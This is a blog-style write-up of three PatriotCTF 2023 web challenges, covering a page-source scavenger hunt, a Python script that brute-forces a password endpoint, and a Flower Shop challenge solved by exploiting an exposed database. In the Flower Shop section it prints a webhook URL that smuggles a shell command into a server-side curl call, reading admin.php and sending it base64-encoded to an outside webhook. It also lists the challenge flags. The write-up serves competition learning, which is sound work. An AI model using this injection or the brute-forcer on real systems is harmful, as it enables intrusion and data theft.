PatriotCTF 2023

Overview

I had the chance to compete in this year’s Patriot CTF competition hosted by the Mason Competitive Cyber team from George Mason University in Virginia. The support for this event was great and I struggled on a couple of their challenges and learned something new. The admins were very responsive to support tickets and questions over discord so it was an enjoyable experience overall.

One area that the Patriot CTF organization team could improve in future events is the reliability of their challenges. Over the duration of the competition a few challenges have gone down or been reset which interrupted some participants. Also, one web challenge had three unintended solutions. To their credit, all of these challenges were addressed promptly. Running a CTF is not easy.

Table of Contents


[Web] - Scavenger Hunt

Difficulty = Easy
Points = Dynamic Scoring

Prompt

Can you find all the hidden pieces of the flag? http://chal.pctf.competitivecyber.club:5999/

Write Up

This is a beginner challenge asking us to find “parts” of the flag. This sounds like it would be similar to one of the challenges in Offsec’s PEN-200 course where you look through the page source, javascript, and css.

The first part of the flag is on the index page so here is one.
Part 1

The second part can be found in an HTML comment.
Part 2

From the page source we find two javascript files script1.js and script2.js and they both have parts of the flag.
Part 4

Part 5

The final part of the flag is found in /robots.txt
Part 3

I try to include more of my thought process as I do these challenges but sometimes they are too straightforward.

Flag

PCTF{Hunt3r5_4nD_g4tH3R5_e49e4a541}


[Web] - Checkmate

Difficulty = Medium

Prompt

Get your adrenaline pumping as you navigate the thrilling world of Crypto Web for Capture the Flag.

http://chal.pctf.competitivecyber.club:9096/

Write Up

First thing we see when we open this webpage is a login form.
Login

Looking at the page source we find some javascript code that shows us how the credential validation works.
Page Source

Looks like we have three functions that are used here:

  • checkName()
    • checks that the names is equal to the reverse of "uyjnimda"
    • username: echo uyjnimda | rev -> adminjyu
  • checkLength()
    • this function returns true if the length of the password is divisible by 6.
  • checkValidity()
    • this function processes the input in chunks of 6 characters.
    • Line # 209 - the Array.from(password).map(ok) creates an array of characters with codes in the range [97, 122]. i.e. lowercase chars
    • we have to satisfy the following conditions
      • input[0] & input[2] == 0x60
        • we need two characters that have the bits of 0x60 in common
        • we can use 'a' = 0x61 and 'b' = 0x62
      • input[1] | input[4] == 0x61
        • same process as & but with 'a' = %61 character
      • input[3] ^ input[5] == 0x06
        • XOR is reversible so if we pick 'a' at random we can find a character to satisfy the condition using 'a' ^ 0x06 = 0x67 = 'g'
    • Starting with these values we can use the ascii table and a hex calculator to construct a valid password.

After reading the code this challenge is actually pretty straight forward.

  • Username = adminjyu
  • Password = aabaag

From the page source we see a comment // /check.php on line 224. The /check.php page has a field that sends a post request to itself with the password as a parameter. It doesn’t accept the password from before.

There are many passwords that satisfy these conditions so I messaged an admin about it and he told me not to “manually guess”. So the gameplan now is to generate all possible passwords and do a dictionary attack.

I wrote an ugly python script to do this. (bottom of the writeup)
Solver|400

Now we can use the password to get the flag.
Flag

Flag

PCTF{Y0u_Ch3k3d_1t_N1c3lY_149}


solve.py

  • adding multithreading would make this a lot quicker
import requests 

def try_password(password): 
	url = 'http://chal.pctf.competitivecyber.club:9096/check.php' 
	params = {'password': password} res = requests.post(url, data=params) return 
	'incorrect password' not in res.text 
	
ands = [] 
xors = [] 

print('---Generating Passwords---') 

# figure out ands 
for i in range(97, 123): 
	for j in range (97, 123): 
		if i & j == 0x60: 
			pair = (chr(i), chr(j)) 
			ands.append(pair) 
			
# figure out xors 
	for i in range(97, 123): 
		for j in range (97, 123): 
			if i ^ j == 0x6: 
				pair = (chr(i), chr(j)) 
				xors.append(pair) 
				
print('\tgenerated ' + str(len(xors) * len(ands)) + ' passwords') 

print('---Trying Passwords---') 

# try all combos 
for first in ands: 
	for second in xors: 
		password = ['a'] * 6 # 'aaaaaa' 
		# plug in ands '&a&aaa' 
		password[0] = first[0] 
		password[2] = first[1] 
		# plug in xors '&a&!a!' 
		password[3] = second[0] 
		password[5] = second[1] 
		
		# make a guess 
		password = ''.join(password) 
		success = try_password(password) 
		if success: 
			print('\tPassword Found: ' + password) exit()

[Web] - Flower Shop

NOTE - just skip ahead to the shortcut

Difficulty = Medium
Points = Dynamic Scoring

Prompt

Flowers! Flag format: CACI{}

http://chal.pctf.competitivecyber.club:5000/

Provided Files

Write Up

The index page has three forms which allow us to sign up, log in, and reset the password for our account on this web app.

The first thing that catches my attention is the webhook url required on the sign up page. The reset mechanism is probably the intended path for this challenge.
Index Page

From unzipping the zip archive I can see that there is an admin.php. This is the page that contains the flag as we can see on line #19. On line #10 we can see that we have to be logged in as admin to access this page.
Admin Page Source

In line #36 of /app/classes/dbh.php we can see that the initial webhook set up for the admin is a dummy link. We need a way to overwrite this, probably an SQLi somewhere.
Initial Admin Webhook

The way the password reset works is that when a reset is requested, the web application will make a POST request to the webhook URL with a temporary password as the argument to tmp_pass parameter.

The temporary password is built using the following:

  • 8 character random string -> randomness from mt_rand()
  • unix time stamp seconds
  • unix time stamp microseconds
  • process pid
Shortcut

I just realized that the sqlite database is publicly accessible. I downloaded it and checked the webhook of the admin account and it looks unchanged so that is not the intended path.
Database

I kept looking through the database and found the webhooks that other people have been using. Here is a very interesting one:
Webhook

  • https://webhook.site/3712abfc-f3c3-4c98-adbd-e187eda1cc15?a=grep${IFS}CACI${IFS}../admin.php${IFS}|${IFS}base64

In the /app/scripts/sendpass.php file we can see that the temp password POST request is being done via curl, this person injected a command into the url that would read the flag from the admin.php file on the server side and encode it in base64 to escape the bad characters.

I signed up for a new account with my own webhook using the same command injection and sure enough I get the base64 encoded flag.
Encoded Flag

Last step is to decode.
Flag

Flag

CACI{y0uv3_f0und_th3_rar3st_s33d_0f_all!}